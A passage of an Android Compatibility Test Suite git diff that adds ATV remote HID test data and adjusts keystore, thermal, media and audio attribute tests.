@@ -0,0 +1,11 @@
+[
+  {
+    "name": "Press HOME",
+    "reports": [
+      [0x02, 0x23, 0x02],
+      [0x02, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "events": [
+    ]
+  }
+]
diff --git a/tests/tests/hardware/res/raw/google_atvreferenceremote_keyeventtests.json b/tests/tests/hardware/res/raw/google_atvreferenceremote_keyeventtests.json
new file mode 100644
index 0000000..6f28c0d
--- /dev/null
+++ b/tests/tests/hardware/res/raw/google_atvreferenceremote_keyeventtests.json
@@ -0,0 +1,326 @@
+[
+  {
+    "name": "Press 1",
+    "reports": [
+      [0x01, 0x00, 0x00, 0x1e, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | DPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "KEYCODE_1"},
+      {"action": "UP", "keycode": "KEYCODE_1"}
+    ]
+  },
+  {
+    "name": "Press 2",
+    "reports": [
+      [0x01, 0x00, 0x00, 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | DPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "KEYCODE_2"},
+      {"action": "UP", "keycode": "KEYCODE_2"}
+    ]
+  },
+  {
+    "name": "Press 3",
+    "reports": [
+      [0x01, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | DPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "KEYCODE_3"},
+      {"action": "UP", "keycode": "KEYCODE_3"}
+    ]
+  },
+  {
+    "name": "Press 4",
+    "reports": [
+      [0x01, 0x00, 0x00, 0x21, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | DPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "KEYCODE_4"},
+      {"action": "UP", "keycode": "KEYCODE_4"}
+    ]
+  },
+  {
+    "name": "Press 5",
+    "reports": [
+      [0x01, 0x00, 0x00, 0x22, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | DPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "KEYCODE_5"},
+      {"action": "UP", "keycode": "KEYCODE_5"}
+    ]
+  },
+  {
+    "name": "Press 6",
+    "reports": [
+      [0x01, 0x00, 0x00, 0x23, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | DPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "KEYCODE_6"},
+      {"action": "UP", "keycode": "KEYCODE_6"}
+    ]
+  },
+  {
+    "name": "Press 7",
+    "reports": [
+      [0x01, 0x00, 0x00, 0x24, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | DPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "KEYCODE_7"},
+      {"action": "UP", "keycode": "KEYCODE_7"}
+    ]
+  },
+  {
+    "name": "Press 8",
+    "reports": [
+      [0x01, 0x00, 0x00, 0x25, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | DPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "KEYCODE_8"},
+      {"action": "UP", "keycode": "KEYCODE_8"}
+    ]
+  },
+  {
+    "name": "Press 9",
+    "reports": [
+      [0x01, 0x00, 0x00, 0x26, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | DPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "KEYCODE_9"},
+      {"action": "UP", "keycode": "KEYCODE_9"}
+    ]
+  },
+  {
+    "name": "Press 0",
+    "reports": [
+      [0x01, 0x00, 0x00, 0x27, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | DPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "KEYCODE_0"},
+      {"action": "UP", "keycode": "KEYCODE_0"}
+    ]
+  },
+  {
+    "name": "Press Subtitles",
+    "reports": [
+      [0x02, 0x61, 0x00, 0x00, 0x00],
+      [0x02, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | DPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "CAPTIONS"},
+      {"action": "UP", "keycode": "CAPTIONS"}
+    ]
+  },
+  {
+    "name": "Press Red",
+    "reports": [
+      [0x02, 0x69, 0x00, 0x00, 0x00],
+      [0x02, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | DPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "PROG_RED"},
+      {"action": "UP", "keycode": "PROG_RED"}
+    ]
+  },
+  {
+    "name": "Press Green",
+    "reports": [
+      [0x02, 0x6a, 0x00, 0x00, 0x00],
+      [0x02, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | DPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "PROG_GREEN"},
+      {"action": "UP", "keycode": "PROG_GREEN"}
+    ]
+  },
+  {
+    "name": "Press Yellow",
+    "reports": [
+      [0x02, 0x6c, 0x00, 0x00, 0x00],
+      [0x02, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | DPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "PROG_YELLOW"},
+      {"action": "UP", "keycode": "PROG_YELLOW"}
+    ]
+  },
+  {
+    "name": "Press Blue",
+    "reports": [
+      [0x02, 0x6b, 0x00, 0x00, 0x00],
+      [0x02, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | DPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "PROG_BLUE"},
+      {"action": "UP", "keycode": "PROG_BLUE"}
+    ]
+  },
+  {
+    "name": "Press Bookmark",
+    "reports": [
+      [0x02, 0x2a, 0x02, 0x00, 0x00],
+      [0x02, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | DPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BOOKMARK"},
+      {"action": "UP", "keycode": "BOOKMARK"}
+    ]
+  },
+  {
+    "name": "Press Info",
+    "reports": [
+      [0x02, 0xbd, 0x01, 0x00, 0x00],
+      [0x02, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | DPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "INFO"},
+      {"action": "UP", "keycode": "INFO"}
+    ]
+  },
+  {
+    "name": "Press Input",
+    "reports": [
+      [0x02, 0xbb, 0x01, 0x00, 0x00],
+      [0x02, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | DPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "TV_INPUT"},
+      {"action": "UP", "keycode": "TV_INPUT"}
+    ]
+  },
+  {
+    "name": "Press D-pad up",
+    "reports": [
+      [0x02, 0x42, 0x00, 0x00, 0x00],
+      [0x02, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | DPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "DPAD_UP"},
+      {"action": "UP", "keycode": "DPAD_UP"}
+    ]
+  },
+  {
+    "name": "Press D-pad left",
+    "reports": [
+      [0x02, 0x44, 0x00, 0x00, 0x00],
+      [0x02, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | DPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "DPAD_LEFT"},
+      {"action": "UP", "keycode": "DPAD_LEFT"}
+    ]
+  },
+  {
+    "name": "Press D-pad right",
+    "reports": [
+      [0x02, 0x45, 0x00, 0x00, 0x00],
+      [0x02, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | DPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "DPAD_RIGHT"},
+      {"action": "UP", "keycode": "DPAD_RIGHT"}
+    ]
+  },
+  {
+    "name": "Press D-pad down",
+    "reports": [
+      [0x02, 0x43, 0x00, 0x00, 0x00],
+      [0x02, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | DPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "DPAD_DOWN"},
+      {"action": "UP", "keycode": "DPAD_DOWN"}
+    ]
+  },
+  {
+    "name": "Press D-pad center",
+    "reports": [
+      [0x02, 0x41, 0x00, 0x00, 0x00],
+      [0x02, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | DPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "DPAD_CENTER"},
+      {"action": "UP", "keycode": "DPAD_CENTER"}
+    ]
+  },
+  {
+    "name": "Press Back",
+    "reports": [
+      [0x02, 0x24, 0x02],
+      [0x02, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | DPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BACK"},
+      {"action": "UP", "keycode": "BACK"}
+    ]
+  },
+  {
+    "name": "Press Guide",
+    "reports": [
+      [0x02, 0x8d, 0x00, 0x00, 0x00],
+      [0x02, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | DPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "GUIDE"},
+      {"action": "UP", "keycode": "GUIDE"}
+    ]
+  },
+  {
+    "name": "Press Program +",
+    "reports": [
+      [0x02, 0x9c, 0x00, 0x00, 0x00],
+      [0x02, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | DPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "CHANNEL_UP"},
+      {"action": "UP", "keycode": "CHANNEL_UP"}
+    ]
+  },
+  {
+    "name": "Press Program -",
+    "reports": [
+      [0x02, 0x9d, 0x00, 0x00, 0x00],
+      [0x02, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | DPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "CHANNEL_DOWN"},
+      {"action": "UP", "keycode": "CHANNEL_DOWN"}
+    ]
+  }
+]
diff --git a/tests/tests/hardware/res/raw/google_atvreferenceremote_register.json b/tests/tests/hardware/res/raw/google_atvreferenceremote_register.json
new file mode 100755
index 0000000..54f9c645
--- /dev/null
+++ b/tests/tests/hardware/res/raw/google_atvreferenceremote_register.json
@@ -0,0 +1,16 @@
+{
+  "id": 1,
+  "command": "register",
+  "name": "Google ATV Reference Remote Control (Test)",
+  "vid": 0x0957,
+  "pid": 0x0001,
+  "bus": "bluetooth",
+  "descriptor": [
+    0x05, 0x01, 0x09, 0x06, 0xa1, 0x01, 0x85, 0x01, 0x05, 0x07, 0x19, 0xe0, 0x29, 0xe7, 0x15, 0x00,
+    0x25, 0x01, 0x75, 0x01, 0x95, 0x08, 0x81, 0x02, 0x95, 0x01, 0x75, 0x08, 0x81, 0x01, 0x95, 0x05,
+    0x75, 0x01, 0x05, 0x08, 0x19, 0x01, 0x29, 0x05, 0x91, 0x02, 0x95, 0x01, 0x75, 0x03, 0x91, 0x01,
+    0x95, 0x06, 0x75, 0x08, 0x15, 0x00, 0x25, 0xf1, 0x05, 0x07, 0x19, 0x00, 0x29, 0xf1, 0x81, 0x00,
+    0xc0, 0x05, 0x0c, 0x09, 0x01, 0xa1, 0x01, 0x85, 0x02, 0x75, 0x10, 0x95, 0x02, 0x15, 0x01, 0x26,
+    0x8c, 0x02, 0x19, 0x01, 0x2a, 0x8c, 0x02, 0x81, 0x00, 0xc0
+  ]
+}
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/GoogleAtvReferenceRemoteControlTest.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/GoogleAtvReferenceRemoteControlTest.java
new file mode 100755
index 0000000..4200bc4
--- /dev/null
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/GoogleAtvReferenceRemoteControlTest.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.input.cts.tests;
+
+import android.hardware.cts.R;
+import android.server.wm.WindowManagerStateHelper;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.SmallTest;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class GoogleAtvReferenceRemoteControlTest extends InputHidTestCase {
+
+    // Exercises the Bluetooth behavior of the ATV reference remote control
+    public GoogleAtvReferenceRemoteControlTest() {
+        super(R.raw.google_atvreferenceremote_register);
+    }
+
+    @Test
+    public void testAllKeys() {
+        testInputEvents(R.raw.google_atvreferenceremote_keyeventtests);
+    }
+
+    /**
+     * We cannot test the home key using "testAllKeys" because the home key does not get forwarded
+     * to apps, and therefore cannot be received in InputCtsActivity.
+     * Instead, we rely on the home button behavior check using the wm utils.
+     */
+    @Test
+    public void testHomeKey() {
+        testInputEvents(R.raw.google_atvreferenceremote_homekey);
+        WindowManagerStateHelper wmStateHelper = new WindowManagerStateHelper();
+        wmStateHelper.waitForHomeActivityVisible();
+        wmStateHelper.assertHomeActivityVisible(true);
+    }
+}
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/InputHidTestCase.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/InputHidTestCase.java
index c56e51e..27bb413 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/InputHidTestCase.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/InputHidTestCase.java
@@ -185,4 +185,67 @@
         }
     }
 
+    public void testInputVibratorManagerEvents(int resourceId) {
+        final List<HidVibratorTestData> tests = mParser.getHidVibratorTestData(resourceId);
+
+        for (HidVibratorTestData test : tests) {
+            assertEquals(test.durations.size(), test.amplitudes.size());
+            assertTrue(test.durations.size() > 0);
+
+            final long timeoutMills;
+            final long totalVibrations = test.durations.size();
+            final VibrationEffect effect;
+            if (test.durations.size() == 1) {
+                long duration = test.durations.get(0);
+                int amplitude = test.amplitudes.get(0);
+                effect = VibrationEffect.createOneShot(duration, amplitude);
+                // Set timeout to be 2 times of the effect duration.
+                timeoutMills = duration * 2;
+            } else {
+                long[] durations = test.durations.stream().mapToLong(Long::longValue).toArray();
+                int[] amplitudes = test.amplitudes.stream().mapToInt(Integer::intValue).toArray();
+                effect = VibrationEffect.createWaveform(
+                    durations, amplitudes, -1);
+                // Set timeout to be 2 times of the effect total duration.
+                timeoutMills = Arrays.stream(durations).sum() * 2;
+            }
+
+            final Vibrator vibrator = getVibrator();
+            assertNotNull(vibrator);
+            // Start vibration
+            vibrator.vibrate(effect);
+            final long startTime = SystemClock.elapsedRealtime();
+            List<HidResultData> results = new ArrayList<>();
+            int vibrationCount = 0;
+            // Check the vibration ffLeft and ffRight amplitude to be expected.
+            while (vibrationCount < totalVibrations
+                    && SystemClock.elapsedRealtime() - startTime < timeoutMills) {
+                SystemClock.sleep(1000);
+                try {
+                    results = mHidDevice.getResults(mDeviceId, UHID_EVENT_TYPE_UHID_OUTPUT);
+                    if (results.size() < totalVibrations) {
+                        continue;
+                    }
+                    vibrationCount = 0;
+                    for (int i = 0; i < results.size(); i++) {
+                        HidResultData result = results.get(i);
+                        if (result.deviceId == mDeviceId && verifyReportData(test, result)) {
+                            int ffLeft = result.reportData[test.leftFfIndex] & 0xFF;
+                            int ffRight = result.reportData[test.rightFfIndex] & 0xFF;
+                            Log.v(TAG, "eventId=" + result.eventId + " reportType="
+                                    + result.reportType + " left=" + ffLeft + " right=" + ffRight);
+                            // Check the amplitudes of FF effect are expected.
+                            if (ffLeft == test.amplitudes.get(vibrationCount)
+                                    && ffRight == test.amplitudes.get(vibrationCount)) {
+                                vibrationCount++;
+                            }
+                        }
+                    }
+                } catch (IOException ex) {
+                    throw new RuntimeException("Could not get JSON results from HidDevice");
+                }
+            }
+            assertEquals(vibrationCount, totalVibrations);
+        }
+    }
 }
diff --git a/tests/tests/keystore/src/android/keystore/cts/CipherTest.java b/tests/tests/keystore/src/android/keystore/cts/CipherTest.java
index e3fbad5..6d2ad66 100644
--- a/tests/tests/keystore/src/android/keystore/cts/CipherTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/CipherTest.java
@@ -437,6 +437,7 @@
      */
     public void testEncryptsAndDecryptsInterrupted()
             throws Exception {
+
         Provider provider = Security.getProvider(EXPECTED_PROVIDER_NAME);
         assertNotNull(provider);
         final byte[] originalPlaintext = EmptyArray.BYTE;
@@ -546,8 +547,6 @@
                         KeyProperties.PURPOSE_ENCRYPT | KeyProperties.PURPOSE_DECRYPT,
                         false, isUnlockedDeviceRequired, isUserAuthRequired)) {
                     try {
-                        // Encrypt the data with the device locked
-                        dl.performDeviceLock();
                         Key encryptionKey = key.getKeystoreBackedEncryptionKey();
                         byte[] plaintext = truncatePlaintextIfNecessary(
                                algorithm, encryptionKey, originalPlaintext);
@@ -569,8 +568,9 @@
                                    expectedPlaintext, modulusLengthBytes);
                         }
 
-                        // Then attempt to decrypt the data with the device still locked
-                        // This should fail.
+                        dl.performDeviceLock();
+
+                        // Attempt to decrypt the data with the device locked.
                         cipher = Cipher.getInstance(algorithm, provider);
                         assertFalse(isDecryptValid(expectedPlaintext, ciphertext, cipher, params, key));
 
diff --git a/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java b/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
index 66bd862..bad98b2 100644
--- a/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
@@ -125,6 +125,7 @@
     private static final Pattern OS_PATCH_LEVEL_STRING_PATTERN = Pattern
             .compile("([0-9]{4})-([0-9]{2})-[0-9]{2}");
 
+    private static final int KM_ERROR_CANNOT_ATTEST_IDS = -66;
     private static final int KM_ERROR_INVALID_INPUT_LENGTH = -21;
     private static final int KM_ERROR_PERMISSION_DENIED = 6;
 
@@ -181,6 +182,14 @@
                                         curves[curveIndex], keySizes[curveIndex],
                                         purposes[purposeIndex], devicePropertiesAttestation);
                             } catch (Throwable e) {
+                                if (devicePropertiesAttestation
+                                        && (e.getCause() instanceof KeyStoreException)
+                                        && KM_ERROR_CANNOT_ATTEST_IDS ==
+                                                ((KeyStoreException) e.getCause()).getErrorCode()) {
+                                    Log.i(TAG, "key attestation with device IDs not supported; "
+                                            + "test skipped");
+                                    continue;
+                                }
                                 throw new Exception("Failed on curve " + curveIndex +
                                         " challenge " + challengeIndex + " purpose " +
                                         purposeIndex + " includeValidityDates " +
@@ -503,6 +512,12 @@
                 testRsaAttestation(challenge, false /* includeValidityDates */, keySize, purpose,
                         paddings, devicePropertiesAttestation);
             } catch (Throwable e) {
+                if (devicePropertiesAttestation && (e.getCause() instanceof KeyStoreException)
+                        && KM_ERROR_CANNOT_ATTEST_IDS ==
+                                ((KeyStoreException) e.getCause()).getErrorCode()) {
+                    Log.i(TAG, "key attestation with device IDs not supported; test skipped");
+                    continue;
+                }
                 throw new Exception("Failed on key size " + keySize + " challenge [" +
                         new String(challenge) + "], purposes " +
                         buildPurposeSet(purpose) + " paddings " +
diff --git a/tests/tests/libthermalndk/jni/NativeThermalTest.cpp b/tests/tests/libthermalndk/jni/NativeThermalTest.cpp
index 62611fc..ae2dbad 100644
--- a/tests/tests/libthermalndk/jni/NativeThermalTest.cpp
+++ b/tests/tests/libthermalndk/jni/NativeThermalTest.cpp
@@ -25,6 +25,7 @@
 #include <inttypes.h>
 #include <time.h>
 #include <unistd.h>
+#include <math.h>
 #include <vector>
 
 #include <android/thermal.h>
@@ -256,6 +257,41 @@
     return returnJString(env, testThermalStatusListenerDoubleRegistration(env, obj));
 }
 
+static std::optional<std::string> testGetThermalHeadroom(JNIEnv *, jobject) {
+    AThermalTestContext ctx;
+    std::unique_lock<std::mutex> lock(ctx.mMutex);
+
+    ctx.mThermalMgr = AThermal_acquireManager();
+    if (ctx.mThermalMgr == nullptr) {
+        return "AThermal_acquireManager failed";
+    }
+
+    // Fairly light touch test only. More in-depth testing of the underlying
+    // Thermal API functionality is done against the equivalent Java API.
+
+    float headroom = AThermal_getThermalHeadroom(ctx.mThermalMgr, 0);
+    if (isnan(headroom)) {
+        // If the device doesn't support thermal headroom, return early.
+        // This is not a failure.
+        return std::nullopt;
+    }
+
+    if (headroom < 0.0f) {
+        return StringPrintf("Expected non-negative headroom but got %2.2f",
+                headroom);
+    }
+    if (headroom >= 10.0f) {
+        return StringPrintf("Expected reasonably small (<10) headroom but got %2.2f", headroom);
+    }
+
+    AThermal_releaseManager(ctx.mThermalMgr);
+    return std::nullopt;
+}
+
+static jstring nativeTestGetThermalHeadroom(JNIEnv *env, jobject obj) {
+    return returnJString(env, testGetThermalHeadroom(env, obj));
+}
+
 extern "C" JNIEXPORT jint JNI_OnLoad(JavaVM* vm, void*) {
     JNIEnv* env;
     const JNINativeMethod methodTable[] = {
@@ -267,6 +303,8 @@
          (void*)nativeTestThermalStatusRegisterNullListener},
         {"nativeTestThermalStatusListenerDoubleRegistration", "()Ljava/lang/String;",
          (void*)nativeTestThermalStatusListenerDoubleRegistration},
+        {"nativeTestGetThermalHeadroom", "()Ljava/lang/String;",
+         (void*)nativeTestGetThermalHeadroom},
     };
     if (vm->GetEnv(reinterpret_cast<void**>(&env), JNI_VERSION_1_6) != JNI_OK) {
         return JNI_ERR;
diff --git a/tests/tests/libthermalndk/src/android/thermal/cts/NativeThermalTest.java b/tests/tests/libthermalndk/src/android/thermal/cts/NativeThermalTest.java
index ab6d518..634ec56 100644
--- a/tests/tests/libthermalndk/src/android/thermal/cts/NativeThermalTest.java
+++ b/tests/tests/libthermalndk/src/android/thermal/cts/NativeThermalTest.java
@@ -47,6 +47,7 @@
     private native String nativeTestRegisterThermalStatusListener();
     private native String nativeTestThermalStatusRegisterNullListener();
     private native String nativeTestThermalStatusListenerDoubleRegistration();
+    private native String nativeTestGetThermalHeadroom();
 
     @Before
     public void setUp() throws Exception {
@@ -120,6 +121,19 @@
         }
     }
 
+    /**
+     * Test that getThermalHeadroom works
+     *
+     * @throws Exception
+     */
+    @Test
+    public void testGetThermalHeadroom() throws Exception {
+        final String failureMessage = nativeTestGetThermalHeadroom();
+        if (!Strings.isNullOrEmpty(failureMessage)) {
+            fail(failureMessage);
+        }
+    }
+
     static {
         System.loadLibrary("ctsthermal_jni");
     }
diff --git a/tests/tests/media/Android.bp b/tests/tests/media/Android.bp
index 2e23cff..905bff7 100644
--- a/tests/tests/media/Android.bp
+++ b/tests/tests/media/Android.bp
@@ -18,6 +18,10 @@
         "src/android/media/cts/CodecImage.java",
         "src/android/media/cts/YUVImage.java",
         "src/android/media/cts/CodecUtils.java",
+        "src/android/media/cts/CodecState.java",
+        "src/android/media/cts/MediaCodecTunneledPlayer.java",
+        "src/android/media/cts/MediaTimeProvider.java",
+        "src/android/media/cts/NonBlockingAudioTrack.java",
     ],
     sdk_version: "current",
 }
diff --git a/tests/tests/media/AndroidManifest.xml b/tests/tests/media/AndroidManifest.xml
index fc41f8e..a94a1b4 100644
--- a/tests/tests/media/AndroidManifest.xml
+++ b/tests/tests/media/AndroidManifest.xml
@@ -131,6 +131,7 @@
             </intent-filter>
         </activity>
         <activity android:name="android.media.cts.MockActivity"/>
+        <activity android:name="android.media.cts.MediaRouter2TestActivity"/>
         <service android:name="android.media.cts.RemoteVirtualDisplayService"
              android:process=":remoteService"
              android:exported="true">
diff --git a/tests/tests/media/AndroidTest.xml b/tests/tests/media/AndroidTest.xml
index c54ecd0..c158663 100644
--- a/tests/tests/media/AndroidTest.xml
+++ b/tests/tests/media/AndroidTest.xml
@@ -26,7 +26,7 @@
     </target_preparer>
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
         <option name="push-all" value="true" />
-        <option name="media-folder-name" value="CtsMediaTestCases-1.3" />
+        <option name="media-folder-name" value="CtsMediaTestCases-1.4" />
         <option name="dynamic-config-module" value="CtsMediaTestCases" />
     </target_preparer>
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
diff --git a/tests/tests/media/DynamicConfig.xml b/tests/tests/media/DynamicConfig.xml
index 0fd0a0b..4548620 100644
--- a/tests/tests/media/DynamicConfig.xml
+++ b/tests/tests/media/DynamicConfig.xml
@@ -51,6 +51,6 @@
         <value>http://redirector.gvt1.com/videoplayback?id=c80658495af60617&amp;itag=17&amp;source=youtube&amp;ip=0.0.0.0&amp;ipbits=0&amp;expire=19000000000&amp;sparams=ip,ipbits,expire,id,itag,source&amp;signature=70E979A621001201BC18622BDBF914FA870BDA40.6E78890B80F4A33A18835F775B1FF64F0A4D0003&amp;key=ik0&amp;user=android-device-test</value>
     </entry>
     <entry key="media_files_url">
-    <value>https://storage.googleapis.com/android_media/cts/tests/tests/media/CtsMediaTestCases-1.3.zip</value>
+    <value>https://storage.googleapis.com/android_media/cts/tests/tests/media/CtsMediaTestCases-1.4.zip</value>
     </entry>
 </dynamicConfig>
diff --git a/tests/tests/media/OWNERS b/tests/tests/media/OWNERS
index e3d8ccc..4f5a2ef 100644
--- a/tests/tests/media/OWNERS
+++ b/tests/tests/media/OWNERS
@@ -12,3 +12,7 @@
 jmtrivi@google.com
 jsharkey@android.com
 sungsoo@google.com
+
+# LON
+olly@google.com
+andrewlewis@google.com
diff --git a/tests/tests/media/src/android/media/cts/AudioAttributesTest.java b/tests/tests/media/src/android/media/cts/AudioAttributesTest.java
index f4e86eb..24d9514 100644
--- a/tests/tests/media/src/android/media/cts/AudioAttributesTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioAttributesTest.java
@@ -222,6 +222,55 @@
         assertEquals(AudioUsage.AUDIO_USAGE_MEDIA.toString(), xsdUsage);
     }
 
+    public void testUsageToString_returnCorrectStrings() {
+        assertEquals("USAGE_UNKNOWN", AudioAttributes.usageToString(AudioAttributes.USAGE_UNKNOWN));
+        assertEquals("USAGE_MEDIA", AudioAttributes.usageToString(AudioAttributes.USAGE_MEDIA));
+        assertEquals("USAGE_VOICE_COMMUNICATION",
+                AudioAttributes.usageToString(AudioAttributes.USAGE_VOICE_COMMUNICATION));
+        assertEquals("USAGE_VOICE_COMMUNICATION_SIGNALLING",
+                AudioAttributes.usageToString(
+                        AudioAttributes.USAGE_VOICE_COMMUNICATION_SIGNALLING));
+        assertEquals("USAGE_ALARM", AudioAttributes.usageToString(AudioAttributes.USAGE_ALARM));
+        assertEquals("USAGE_NOTIFICATION",
+                AudioAttributes.usageToString(AudioAttributes.USAGE_NOTIFICATION));
+        assertEquals("USAGE_NOTIFICATION_RINGTONE",
+                AudioAttributes.usageToString(AudioAttributes.USAGE_NOTIFICATION_RINGTONE));
+        assertEquals("USAGE_NOTIFICATION_COMMUNICATION_REQUEST",
+                AudioAttributes.usageToString(
+                        AudioAttributes.USAGE_NOTIFICATION_COMMUNICATION_REQUEST));
+        assertEquals("USAGE_NOTIFICATION_COMMUNICATION_INSTANT",
+                AudioAttributes.usageToString(
+                        AudioAttributes.USAGE_NOTIFICATION_COMMUNICATION_INSTANT));
+        assertEquals("USAGE_NOTIFICATION_COMMUNICATION_DELAYED",
+                AudioAttributes.usageToString(
+                        AudioAttributes.USAGE_NOTIFICATION_COMMUNICATION_DELAYED));
+        assertEquals("USAGE_NOTIFICATION_EVENT",
+                AudioAttributes.usageToString(AudioAttributes.USAGE_NOTIFICATION_EVENT));
+        assertEquals("USAGE_ASSISTANCE_ACCESSIBILITY",
+                AudioAttributes.usageToString(AudioAttributes.USAGE_ASSISTANCE_ACCESSIBILITY));
+        assertEquals("USAGE_ASSISTANCE_NAVIGATION_GUIDANCE",
+                AudioAttributes.usageToString(
+                        AudioAttributes.USAGE_ASSISTANCE_NAVIGATION_GUIDANCE));
+        assertEquals("USAGE_ASSISTANCE_SONIFICATION",
+                AudioAttributes.usageToString(AudioAttributes.USAGE_ASSISTANCE_SONIFICATION));
+        assertEquals("USAGE_GAME", AudioAttributes.usageToString(AudioAttributes.USAGE_GAME));
+        assertEquals("USAGE_ASSISTANT",
+                AudioAttributes.usageToString(AudioAttributes.USAGE_ASSISTANT));
+        assertEquals("USAGE_CALL_ASSISTANT",
+                AudioAttributes.usageToString(AudioAttributes.USAGE_CALL_ASSISTANT));
+        assertEquals("USAGE_EMERGENCY",
+                AudioAttributes.usageToString(AudioAttributes.USAGE_EMERGENCY));
+        assertEquals("USAGE_SAFETY", AudioAttributes.usageToString(AudioAttributes.USAGE_SAFETY));
+        assertEquals("USAGE_VEHICLE_STATUS",
